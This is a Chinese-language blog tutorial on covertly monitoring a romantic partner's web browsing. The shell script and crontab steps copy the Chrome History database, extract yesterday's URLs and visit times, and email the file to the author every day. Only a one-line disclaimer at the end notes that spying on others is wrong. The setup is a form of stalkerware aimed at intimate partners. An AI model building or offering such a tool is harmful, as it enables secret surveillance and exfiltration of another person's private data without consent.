想知道女朋友/男朋友每天都在看哪些網站麼,用Python就可以了!
本案例實現的功能:
(1) 獲取你物件chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt檔案中
(2)將這個txt檔案傳送給指定的郵箱地址(你的郵箱)
(3)建立例行任務,每天定時自動完成這些操作,你就可以通過郵件檢視你物件每天看啥了
Python學習資料或者需要程式碼、視訊加Python學習群:960410445
前期準備
Python3.6
Chrome
傳送郵件的qq郵箱地址
qq郵箱授權碼
SMTP伺服器地址
接受郵件的郵箱地址
實現過程
(1) 首先我們用DB Browser for SQLite來看下History中的urls表的資料組成
從表中可以看出,我們要的網址和訪問時間就在urls.url和urls.last_visit_time中
(2) get_history.py:
通過這個指令碼,我們可以把url和訪問時間提取出來,並且儲存在result.txt中,下圖就是我得到的部分結果
(3) send_email.py:
通過這個指令碼,我們可以把result.txt作為附件,傳送給指定郵箱地址,下圖是我得到的部分結果
(4) ./start.sh :
其實,前面幾個指令碼,已經完成了我們的任務,但是每次都執行這麼多指令碼,太麻煩了,我們可以把這些指令碼的執行語句整理成一個shell指令碼。
cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
這樣,我們在終端執行./start.sh,系統就會幫我們把這三條語句依次執行了
注意:由於crontab命令需要絕對路徑,所以這裡的路徑都是用絕對路徑
(5) crontab :
如果使用了這個命令,在電腦開機並且聯網的情況,系統會自動執行,然後把結果發到你的郵箱
使用方法:在終端下輸入crontab -e,使用vim輸入下面一行程式碼就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
說明:前面兩個數字,就是你每天執行這個指令碼的時間,我這裡設定的是14:20。
重要的事再說一遍,一定要寫絕對路徑!!!
問題:
1.server.login(from_addr, password)函式中的password不是郵箱密碼,在qq郵箱中,指的是授權碼
答:qq郵箱授權碼
2.訪問History資料庫時,顯示The database is locked!
答:
有兩種解決辦法:
(1)關閉瀏覽器,再去訪問
(2)把History拷貝到其他資料夾中,然後訪問該資料夾下的History
3.timestamp時間戳怎麼轉換的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0時0分0秒,所以要減去11644473600;
篩選昨天的資料:現在的日期與last_visit_time的差值小於1的資料,就是距離當前時
間小於1天的資料
4.crontab出錯
答:crontab中所有路徑都要寫絕對路徑,包括py指令碼中的路徑也要寫絕對路徑!
5.路徑問題
答:大家在復現的時候,要注意把路徑改成自己電腦上的,還有那個郵箱相關的資訊也要改成自己的。
總結:
1.運用python連線SQLite資料庫,並執行sql操作
2.運用python傳送郵件
3.運用shell和crontab建立自動化例行任務
4.看別人隱私是不對的,這篇文章只是我自己瞎玩的,實際可行性不強
相關文章
- python實戰,教你用微信每天給女朋友說晚安Python
- 文藝網站為什麼最後都沒落了?網站
- 昨天網站都變灰了,你知道是怎麼做的麼?網站
- 哪些網站可以學python網站Python
- 怎麼用python django做網站?PythonDjango網站
- python有哪些學習網站Python學習網站
- 關於微信小程式,你想知道的他們都問了微信小程式
- 軟體“夠用”就可以了嗎?
- 程式設計師女朋友如何給程式設計師男朋友過生日?程式設計師
- 所有網站都死了,所以只能寫文章了(大綱)網站
- 伺服器適用哪些網站?伺服器網站
- 怎麼了?我就磕上安卓了!沒有男朋友我也要做安卓安卓
- python都應用於哪些領域?Python開發學習Python
- 我用Python實現了一個小說網站雛形Python網站
- 網站都變灰了,幾行程式碼可以實現網站行程
- 網際網路APP億元紅包,你都領了麼?APP
- 網速不穩定怎麼辦?網路小白都在看
- 想知道有哪些熱門、常用API,這一篇就夠了API
- Python有哪些好用的網站開發框架?Python網站框架
- python網站開發哪些框架比較好用?Python網站框架
- 用JAVA開發網站,需要學哪些呢?Java網站
- 網路安全就業方向有哪些?日常都幹什麼?就業
- 站群伺服器一般都適用於哪些行業呢?伺服器行業
- Java、Python 都跌出前五了,誰這麼牛?JavaPython
- 學了Python能做什麼 都需要掌握這些技能Python
- 網站密碼忘記了?網站忘了密碼怎麼辦網站密碼
- 戲精程式設計師,用python開發了一個女朋友,天天秀恩愛程式設計師Python
- 為什麼個人和企業都需要有個網站?網站
- 網站建設通常用哪些網站程式?網站
- 漫話:如何給女朋友解釋為什麼有些網站域名不以www開頭網站
- 2 分鐘,教你用 Serverless 每天給女朋友自動發土味情話Server
- 用 Laravel 寫了一個圖床網站Laravel圖床網站
- 網站被黑客入侵了怎麼解決網站黑客
- 網站被挾持了需要做什麼網站
- 公司網站為什麼亂碼了呢網站
- 網站密碼忘記了怎麼修改?網站密碼
- Delphi/C#之父首次訪華:55歲了每天都寫程式碼C#
- 幹了SAP開發這麼多年,我都積累了哪些程式除錯技巧除錯